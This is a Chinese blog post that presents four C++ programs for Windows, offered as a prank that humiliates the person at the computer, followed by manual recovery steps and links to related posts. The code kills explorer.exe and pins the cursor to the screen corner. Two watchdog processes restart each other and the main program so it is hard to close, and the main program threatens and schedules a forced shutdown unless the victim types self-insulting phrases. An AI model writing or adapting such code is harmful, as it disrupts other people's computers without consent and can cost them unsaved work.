c++整人代码,超级加倍,让人承认我是大傻猪
今天看到一个博客,让人承认我是猪,觉得很有意思,也写了一个同样让人承认我是猪的,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:
第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName); //拷贝数组CharLowerBuff(pName,MAX_PATH); //将名称转换为小写PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程{CloseHandle(hProcess); //清除hProcess句柄return true;}bMore=Process32Next(hProcess,¤tProcess); //遍历下一个}CloseHandle(hProcess); //清除hProcess句柄return false;
}
void po()
{if(getProcess("整人代码-防护.exe") == 0){system("start 整人代码-防护.exe");} if(getProcess("整人代码-防护2.exe") == 0){system("start 整人代码-防护2.exe");} HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main()
{po();system("taskkill /f /t /im explorer.exe");string in;po();HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:"; cin>>in;po();if(in == "我是猪"){cout<<"这是一个事实,哈哈哈\n";po();Sleep(5000);po();cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";cin>>in;if(in == "我是大傻子"){po();cout<<"真乖,哈哈哈哈哈哈\n";Sleep(1000);po();cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";system("start explorer.exe");system("start 整人代码-kill.exe");return 0;}}po();cout<<"很勇啊你,让我帮你关机吧!\n";system("shutdown -s -t 120");cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";po();cin>>in;if(in == "我是大傻猪"){cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";po();system("shutdown -a");Sleep(3000);po();cout<<"啥?\n";Sleep(3000);po();cout<<"我忘了什么东西?\n";Sleep(3000);po();cout<<"恢复啥?\n";Sleep(3000);po();cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";cin>>in;po();if(in == "我是世上独一无二绝无仅有的超级大傻猪"){cout<<"真乖,看我咻---";system("start explorer.exe");system("start 整人代码-kill.exe");return 0;}}cout<<"唉,人啊,看你这么不认真不说实话,那我走了";system("start 整人代码-kill.exe");return 0;
}
第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName); //拷贝数组CharLowerBuff(pName,MAX_PATH); //将名称转换为小写PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程{CloseHandle(hProcess); //清除hProcess句柄return true;}bMore=Process32Next(hProcess,¤tProcess); //遍历下一个}CloseHandle(hProcess); //清除hProcess句柄return false;
}
int main()
{ShowWindow(GetConsoleWindow(), SW_MINIMIZE);while(1){if(getProcess("整人代码.exe") == 0){system("start 整人代码.exe");}if(getProcess("整人代码-防护2.exe") == 0){system("start 整人代码-防护2.exe");}if(getProcess("整人代码-kill.exe") == 1){break;} HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);SetCursorPos(0,0);}return 0;
}
第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName); //拷贝数组CharLowerBuff(pName,MAX_PATH); //将名称转换为小写PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程{CloseHandle(hProcess); //清除hProcess句柄return true;}bMore=Process32Next(hProcess,¤tProcess); //遍历下一个}CloseHandle(hProcess); //清除hProcess句柄return false;
}
int main()
{ShowWindow(GetConsoleWindow(), SW_MINIMIZE);while(1){if(getProcess("整人代码-防护.exe") == 0){system("start 整人代码-防护.exe");}if(getProcess("整人代码-kill.exe") == 1){break;}HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);SetCursorPos(0,0);}return 0;
}
第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName); //拷贝数组CharLowerBuff(pName,MAX_PATH); //将名称转换为小写PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程{CloseHandle(hProcess); //清除hProcess句柄return true;}bMore=Process32Next(hProcess,¤tProcess); //遍历下一个}CloseHandle(hProcess); //清除hProcess句柄return false;
}
using namespace std;
int main()
{while(getProcess("整人代码.exe")){system("taskkill /f /t /im 整人代码.exe");}return 0;
}
作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:
第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束
第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。
第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。
作用:
第一步:关闭程序
第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键
第三步:取消关机
注:本文章灵感来源于[c++整人代码]逼人承认“我是猪” 「v2.0」_蜀都客车的博客-CSDN博客_c++恶搞代码
但是本文章代码和如上文章没有任何关系,除getprocess函数来自其他CSDN大神之手,其它均为原创。
c++整人代码,超级加倍,让人承认我是大傻猪相关推荐
- c语言手机整人源码,c语言整人代码-20210411015719.docx-原创力文档
Company Document number:WTUT-WT88Y-W8BBGB-BWYTT-19998 Company Document number:WTUT-WT88Y-W8BBGB-BWYT ...
- Python:变身超级赛亚人
Python:变身超级赛亚人 思路 金色头发 添加头发 电弧特效 代码下载 上周六搞了个修炼写轮眼,利用python代码定位眼球再贴图,有点太粗糙.今儿又周末,效果升级下,玩个变身超级赛亚人-- 预期 ...
- python棋盘放麦粒求和递归_超级加倍!学会了就是一代土块(du guai)——你知道有多少种洗牌的方式吗?...
原标题:超级加倍!学会了就是一代土块(du guai)--你知道有多少种洗牌的方式吗? 数学中有一个非常可爱的函数--阶乘函数( factorial function),它会将输入数乘以所有小于它的正 ...
- joke整人代码瘫痪_分析瘫痪:过度思考和了解太多代码
joke整人代码瘫痪 I read a post on ArsTechnica today called "I know too much to program quickly. What ...
- 喜欢把代码写一行的人_我最喜欢的代码行
喜欢把代码写一行的人 Every developer has their favourite patterns, functions or bits of code. This is mine and ...
- “我的代码正在被千百万人使用”,MySQL 之父等六大国际数据库掌门人谈如何做数据库
作者 | 屠敏 出品 | CSDN(ID:CSDNnews) 都说互联网是有记忆的,殊不知强大的记忆力的背后是一个名为数据库的东西在默记,将散是满天星.亦或纷纷残叶满阶头的凌乱信息以各种形态永留存在互 ...
- 代码是写给人看的还是写给机器看的?
在大部分的情况下我会认为代码是写给人看的.虽然代码最后的执行者是机器,但是实际上代码更多的时候是给人看的.我们来看看一段代码的生命周期:开发 --> 单元测试 --> Code Revie ...
- vbs整人代码大集合(多年以来的整合)
博客超链接首页 博客超链接资源 vbs整人代码大集合/不要乱使用! 前言 一.删除D:\所有文件 二.不断弹出窗口 三.不断按下alt+f4 (开什么都关闭--) 四.按999次回车 五.关不掉的窗口 ...
- 微信卡死代码 java_能让微信卡死的代码是什么 微信整人代码大全
微信近日有朋友发现一个BUG,准确来说是安卓系统的BUG,这个BUG代码能让用户点击后微信卡死状态,需要结束微信进程重新打开才能继续使用,是怎么办到的呢?是不是也想整蛊自己的闺蜜.基友呢?下面和小编一 ...
最新文章
- android响铃停止源代码,android – 如何停止当前正在播放的铃声?
- 在Visual Studio的Server Explorer中怎样修改表名
- electron开发
- 狼奔权限管理系统[开源]
- HDU 1715 大菲波数 (大数问题)
- python爬虫消费者与生产者_Condition版生产者与消费者模式
- 不须邮件服务器邮件发送asp插件,用asp实现支持附件的email系统_邮件服务器
- WebPack 简明学习教程
- C语言中浮点数在内存中的存储方式
- 怎样使按钮响应回车键
- 如何打造自动驾驶的数据闭环
- 【第135期】游戏策划:给@蒙蒙水雾的简历分析
- 机器学习高频面试题(41道)
- 忍得住清贫 耐得住寂寞 禁得起诱惑
- VMware 15 安装 macOS High Sierra 10.13 图文教程
- 【虚幻引擎UE】UE4/UE5 GIS辅助类插件推荐及使用介绍
- matlab拟合斜椭圆,椭圆拟合及拟合度评价
- 网址中请求参数中%2c
- 有人退税近4000元!个税年度汇算开始了,看看你能退多少?
- 迷宫寻宝(一) 搜索
热门文章
- JavaScript:通过点击按钮实现个人信息的录入,进而输出个人信息
- vcruntime140.dll不可用或缺少
- python南开大学王恺mooc_Python爬虫示例(正则表达式、靓汤、selenium),程序,BeautifulSoupselenium...
- 想做数码管显示,单片机IO口资源不够?看看WTV890语音芯片能做些啥
- 三,mergetool和difftool
- 外键 ‘FK__ICBCCard__CardID__3E1D39E1‘ 引用了位于被引用表 ‘StudentCard‘ 中的无效列 ‘CardID‘。
- paraview(三)运行和查看Paraview官方案例
- 微信跳wap有哪些作用?
- WebWork教程一
- 黑马Redis学习——实战篇(4)